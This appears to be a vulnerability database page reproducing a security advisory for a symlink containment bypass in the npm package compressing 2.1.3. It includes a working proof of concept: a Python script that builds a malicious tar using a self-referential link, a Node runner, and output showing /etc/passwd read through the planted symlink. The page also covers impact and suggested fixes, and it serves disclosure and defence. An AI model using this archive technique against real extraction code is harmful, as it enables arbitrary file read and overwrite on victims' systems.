Vulnerability DatabaseGHSA-grx6-75c5-f738

GHSA-grx6-75c5-f738: 
JavaScript vulnerability analysis and mitigation

Summary

The containment check in lib/utils.js (around line 277, isRealPathSafe) evaluates a symlink entry's target against the entry's textual path. A single archive can first create sub/d -> .. (accepted, since its target is the destination itself) and then a symlink whose textual path goes through that link several times, for example sub/d/sub/d/sub/d/sub/d/x. Textually that entry sits 8 levels below the destination, so a target of ../../../../../../../../etc/passwd looks contained. On disk sub/d resolves back to the destination, so x is created at the destination root and points to /etc/passwd. Unlike GHSA-4c3q-x735-j3r5 this needs no pre-existing link: one archive does it.

Affected

compressing 2.1.3 (latest), tar.uncompress (the zip path shares the helper; tar was tested).

Reproduction

node 22, Docker with --network none:

#!/bin/sh

# PoC: compressing@2.1.3 symlink containment bypass via self-referential symlink (single archive, no pre-existing state).

# Run on acer (docker, install with network, PoC with --network none):

#   mkdir -p /tmp/verify-v3/c && cd /tmp/verify-v3/c && cp <this file> .

#   docker run --rm -v $PWD:/w -w /w node:22 sh -c 'npm i compressing@2.1.3 --silent'

#   docker run --rm --network none -v $PWD:/w -w /w node:22 sh poc-compressing.sh
cat > mk.py <<'PY'
import tarfile, io, sys
def sym(t,name,link):
    i=tarfile.TarInfo(name); i.type=tarfile.SYMTYPE; i.linkname=link; t.addfile(i)
def d(t,name):
    i=tarfile.TarInfo(name); i.type=tarfile.DIRTYPE; i.mode=0o755; t.addfile(i)
N='sub/d/'*4+'x'   # textual depth 8 below dest, real depth 0 (sub/d -> '..' == dest)
for out,up in (('control.tar',9),('attack.tar',8)):   # control: textual target escapes dest -> must be rejected
    t=tarfile.open(out,'w')
    d(t,'sub'); sym(t,'sub/d','..')        # accepted: target == dest
    sym(t,N,'../'*up+'etc/passwd')
    t.close()
PY
python3 -I mk.py
cat > run.js <<'JS'
const c=require('compressing'),fs=require('fs'),path=require('path');
(async()=>{
 for (const t of ['control','attack']) {
  const dest='/tmp/ex-'+t; fs.rmSync(dest,{recursive:true,force:true});
  await c.tar.uncompress(t+'.tar',dest);
  const x=path.join(dest,'x');
  let l; try{l=fs.readlinkSync(x)}catch(e){l='(none)'}
  console.log(`[${t}] extracted entries:`,fs.readdirSync(dest),' x -> ',l,
    ' realpath(x)=', (()=>{try{return fs.realpathSync(x)}catch(e){return 'ERR '+e.code}})());
  if (t==='attack') console.log('read through planted link:', fs.readFileSync(x,'utf8').split('\n')[0]);
 }
})();
JS
node run.js
[control] extracted entries: [ 'sub' ]  x ->  (none)  realpath(x)= ERR ENOENT
[compressing] Skipping symlink "sub/d/sub/d/sub/d/sub/d/x": target "/tmp/etc/passwd" escapes extraction directory
[attack] extracted entries: [ 'sub', 'x' ]  x ->  ../../../../../../../../etc/passwd  realpath(x)= /etc/passwd
read through planted link: root:x:0:0:root:/root:/bin/bash

The guard rejects the textually escaping link (control), but the attack archive plants x -> /etc/passwd in the extraction directory.

Impact

Extracting an attacker-supplied tar plants a symlink that points anywhere on the filesystem. Anything that later reads, serves, copies or writes through the extracted tree follows it, giving arbitrary file read, and file overwrite where a later step writes through the link. Same impact class as GHSA-4c3q-x735-j3r5.

Suggested fix

Resolve the symlink's own parent directory with realpath (after the earlier entries have been created) and check the target against that real location, or refuse symlink entries whose path passes through an existing symlink, or refuse symlink targets containing .. altogether. Found with AploSec. Reported by Zachariah Mithani (zachariah@aplosai.com).


Source: NVD

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-v25x-53wq-6r99HIGH8.2
  • JavaScript logoJavaScript
  • mcp-sanitizer
NoYesOct 31, 2026
GHSA-grx6-75c5-f738HIGH7.1
  • JavaScript logoJavaScript
  • compressing
NoYesOct 31, 2026
GHSA-qvp2-8q5w-gcfpMEDIUM6.5
  • JavaScript logoJavaScript
  • mcp-sanitizer
NoYesOct 31, 2026
GHSA-vh7f-3c46-hfp3LOWN/A
  • JavaScript logoJavaScript
  • cron-parser
NoNoOct 31, 2026
GHSA-f7wr-f2gj-v69xLOWN/A
  • JavaScript logoJavaScript
  • seroval
NoYesOct 31, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management